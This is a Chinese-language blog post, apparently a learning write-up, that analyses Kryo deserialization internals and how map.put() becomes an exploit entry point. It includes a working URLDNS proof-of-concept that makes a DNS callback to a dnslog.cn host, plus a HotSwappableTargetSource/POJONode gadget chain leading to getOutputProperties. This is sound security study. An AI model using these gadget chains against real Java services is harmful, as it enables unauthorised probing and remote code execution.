在网上看文章得时候 无意中看到这个Kryo反序列化 于是就写这篇文章来学习一下

参考文章1 参考文章2

简介

Kryo 是一个快速序列化/反序列化工具,其使用了字节码生成机制。Kryo 序列化出来的结果,是其自定义的、独有的一种格式,不再是 JSON 或者其他现有的通用格式;而且,其序列化出来的结果是二进制的(即 byte[];而 JSON 本质上是字符串 String),序列化、反序列化时的速度也更快 (一个优点)。

其相对于其他反序列化类的特点是可以使用它来序列化或反序列化任何Java类型,而不需要实现Serializable。(这就是这个类得特殊之处了)

分析

引入依赖

1
2
3
4
5
<dependency>
<groupId>com.esotericsoftware</groupId>
<artifactId>kryo</artifactId>
<version>4.0.2</version>
</dependency>

先写个demo来进行分析

MyClass.java

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
package org.example;

public class MyClass {
public String hello;
private int num;


public String toString() {
return "MyClass{" +
"hello='" + hello + '\'' +
", num=" + num +
'}';
}

public String getHello() {
return hello;
}

public void setHello(String hello) {
this.hello = hello;
}

public int getNum() {
return num;
}

public void setNum(int num) {
this.num = num;
}
}

demo.java

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
package org.example;

import com.esotericsoftware.kryo.Kryo;
import com.esotericsoftware.kryo.io.Input;
import com.esotericsoftware.kryo.io.Output;

import java.io.FileInputStream;
import java.io.FileNotFoundException;
import java.io.FileOutputStream;
import java.util.HashMap;

public class demo {
public static void main(String[] args) throws FileNotFoundException {
Kryo kryo = new Kryo();
kryo.register(MyClass.class);
MyClass myClass = new MyClass();
myClass.setHello("nihao");
myClass.setNum(123);
Output output = new Output(new FileOutputStream("file.bin"));
kryo.writeClassAndObject(output, myClass);
output.close();
Input input = new Input(new FileInputStream("file.bin"));
MyClass myClass1 = (MyClass)kryo.readClassAndObject(input);
input.close();
System.out.println(myClass1);
//将一个类当作字符串进行输出 会触发该类里的toString()方法
}
}

image-20230924153830572

成功进行序列化和反序列化操作

这里进行选择的是writeClassAndObjectreadClassAndObject 这两个类来进行序列化和反序列化

序列化

image-20230924191631796

下个断点进行分析

image-20230924191707982

然后在这里的话会进行已经注册的类进行获取

image-20230924192116625

然后到这里的话就会新型序列化类的获取 然后将其进行序列化操作

这里的话就会使用递归来将值一步一步的进行写入

反序列化

image-20230924192524040

反序列化也是一样 也是会进行已经注册的类的获取

image-20230924192622533

然后就是进行序列化类的获取 这里都是使用默认的 FieldSerializer

image-20230924192720179

然后就是开始反序列化读取之前序列化的内容了

这里的写的比较简略

(其实在这个序列化器里的wirte和read方法里面还有更加细致的分析是怎么进行写入和读取的 因为比较懒 这里就不写了)

简略分析

  1. 经过上述的分析知道了是得先获取这个注册类这个东西 如果不进行注册的话就会进行报错

image-20230924193119546

就是序列化和反序列化需要用到的类 如果不在默认注册表里就会报错

image-20230924193411188

image-20230924193219192

这里就是会爆出这个错误

  1. 还有一个就是使用这个kryo进行序列化和反序列化操作的话 因为经过上面简单的分析 我们发现每次进行序列化或者反序列化的时候 都是会先用到FieldSerializer这个类 当我们跟进这个类的时候 就会发现这个类调用的是一个无参方法

image-20230924193957490

image-20230924194203562

关于这个问题 翻阅文档发现 在这个地方如果执行下面这个代码的话 就不会进行构造函数的调用 就不会发生上面一样的问题

1
kryo.setInstantiatorStrategy(new DefaultInstantiatorStrategy(new StdInstantiatorStrategy()));

漏洞点

这个Kryo 其实是和这个Hessian 差不多 问题都是出在这个put方法这里

经过上面的分析呢 我们知道是怎么个反序列化的过程 在使用FieldSerializer 进行反序列化read的时候呢 对于某些类的参数会采用不同的Serializer来进行反序列化读取

(如果我们传入的参数是hashmap类的话 那么在反序列化的时候就会使用mapSerializer进行反序列化 其中就会调用到map.put()这个函数 这就是我们的漏洞利用点了)

写个demo进行分析

User.java

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
package org.example;
import java.util.HashMap;

public class User {

HashMap hashMap = new HashMap<>();
Test test = new Test();
public void setHashMap() {
this.hashMap.put(test,"test");
}

public void getHashMap() {
System.out.println(this.hashMap);
}
}

demo.java

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
package org.example;

import com.esotericsoftware.kryo.Kryo;
import com.esotericsoftware.kryo.io.Input;
import com.esotericsoftware.kryo.io.Output;

import java.io.FileInputStream;
import java.io.FileNotFoundException;
import java.io.FileOutputStream;
import java.util.HashMap;

public class demo {
public static void main(String[] args) throws FileNotFoundException {
Kryo kryo = new Kryo();
kryo.register(User.class);
kryo.register(HashMap.class);
kryo.register(Test.class);
User u = new User();
u.setHashMap();
Output output = new Output(new FileOutputStream("file.bin"));
kryo.writeClassAndObject(output, u);
output.close();
Input input = new Input(new FileInputStream("file.bin"));
User o = (User)kryo.readClassAndObject(input);
input.close();
o.getHashMap();
}
}

image-20230924203625589

先是进入到FieldSerializer#read 然后在进行filed的获取 然后根据filed是什么类 然后获取该类的反序列化类来进行反序列化输出结果

image-20230924203939849

然后接着就会进入到反射参数类ReflectFieldread方法里面

image-20230924204213255

然后再次进行kryo的readobject中

image-20230924204244355

这里的就会调用到这个MapSerializer来反序列化我们的hashmap参数了

image-20230924204325436

MapSerializer反序列化的过程中就会调用到这个map.put()方法了 因为我们的key可控 那么我们就可以将其视为反序列化的入口了

利用链

URLDNS

先去查看这个的原来的利用链

image-20230924204609239

发现他是使用这个HashMap.readobject()来作为反序列化的入口 那么我们的这个Kryo刚好可以进行替代

(因为触发点都是这个map.put() 并且key可控)

image-20230924205134166

image-20230924205434785

put的时候也能触发

Test.java —-> 利用链

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
package org.example;
import com.esotericsoftware.kryo.Kryo;
import com.esotericsoftware.kryo.io.Input;
import com.esotericsoftware.kryo.io.Output;

import java.lang.reflect.Array;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.net.URI;
import java.net.URL;
import java.net.URLStreamHandler;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.HashMap;

public class Test {
public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {
Field field = obj.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
field.set(obj, value);
}

public static void main(String[] args) throws Exception {
Kryo kryo = new Kryo();
kryo.setRegistrationRequired(false);
HashMap<Object, Object> s = new HashMap<>();
setFieldValue(s, "size", 1);
Class<?> nodeC;
try {
nodeC = Class.forName("java.util.HashMap$Node");
} catch (ClassNotFoundException e) {
nodeC = Class.forName("java.util.HashMap$Entry");
}
Constructor<?> nodeCons = nodeC.getDeclaredConstructor(int.class, Object.class, Object.class, nodeC);
nodeCons.setAccessible(true);
//这里不放url的key是为了序列化的时候不触发dns
URL v2 = new URL("http://bug2o1.dnslog.cn");
Object tbl = Array.newInstance(nodeC, 2);
Array.set(tbl, 0, nodeCons.newInstance(0, v2, 0, null));
setFieldValue(s, "table", tbl);

Output output = new Output(Files.newOutputStream(Paths.get("file.bin")));
kryo.writeClassAndObject(output,s);
output.close();
Input input = new Input(Files.newInputStream(Paths.get("file.bin")));
Object obj = kryo.readClassAndObject(input);
}
}

image-20230924205706619

这个exp比较特别的地方就是在这里了 第一次看的时候一脸懵逼 debug看了好一会才看明白

(其实这里这个代码的目的就是为了给这个key赋值的 不是用这个put方法来进行赋值)

image-20230924205908606

这里的就是可以进行给key赋值

image-20230924210159859

还有一点就是这个赋值这个地方 这里给table赋值的原因就是如果不适用put函数进行赋值的话 kryo在反序列化的时候就会中table数组中来获取这个key

image-20230924210355699

在这篇文章中也讲到了这个table 感兴趣的可以去看看’

那么这条链子就分析完了

HotSwappableTargetSource

关于这个类的话 熟悉这个rome链子的应该会知道 这链子在里面就有利用到

利用链

1
HotSwappableTargetSource.equals->XString.equals->POJONode.toString->SignedObject.getObject->POJONode.toString->getOutputProperties

在这个之前 我们得先去了解一下这个equals是怎么获取到的

image-20230924213351886

先下个断点

image-20230924214423583

一般来说是进不去这个判断来触发这个equals()方法的 是会进去到上面的if判断里

image-20230924214637433

进入到这个判断里的原因是因为这个key和value的值不相等 于是就会进入到这个判断里 因为我们是想要进入这个equals()里 所以我们要使其key和value的值相等

然后就会进入到HotSwappableTargetSourceequals()

image-20230924220303214

image-20230924220317542

这里这两个参数就是在刚开始的时候进行赋值

这就是为什么要初始化两个HotSwappableTargetSource的原因

image-20230924220411359

Xstring#equals()来触发这个pojoNode()

image-20230924220959646

后面的话就是正常的PojoNode的toString来触发了 老生常谈了 就不多说了

可能在看的时候大家就有个疑问就是为什么要是使用两个PojoNode来 并且还是了signobject来进行二次反序列化 之所以这样做的原因是因为在最后触发这个getOutputProperties的时候 里面有个属性_tfactory是transient的 Kryo并不能对其进行反序列化

在文章开头的时候写到 在序列化或者反序列化的时候 都会第一个触发FiledSerializer这个类 那么我们如果想要使用别的类怎么办?

image-20230925153313301

这个这个Kryo的jar包力就有很多类可以使用

用法如下

img

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
public class Main {
public static void main(String[] args) throws Exception {
Kryo kryo = new Kryo();

kryo.register(MyClass.class,new BeanSerializer(kryo, MyClass.class));

MyClass s = new MyClass();
s.setNum(10);
s.setHello("hello");

Output output = new Output(Files.newOutputStream(Paths.get("file.bin")));
kryo.writeObject(output,s);
output.close();
Input input = new Input(Files.newInputStream(Paths.get("file.bin")));
Object obj = kryo.readObject(input, MyClass.class);
}
}

在register这里就能指定了

image-20230925153806539

image-20230925153827620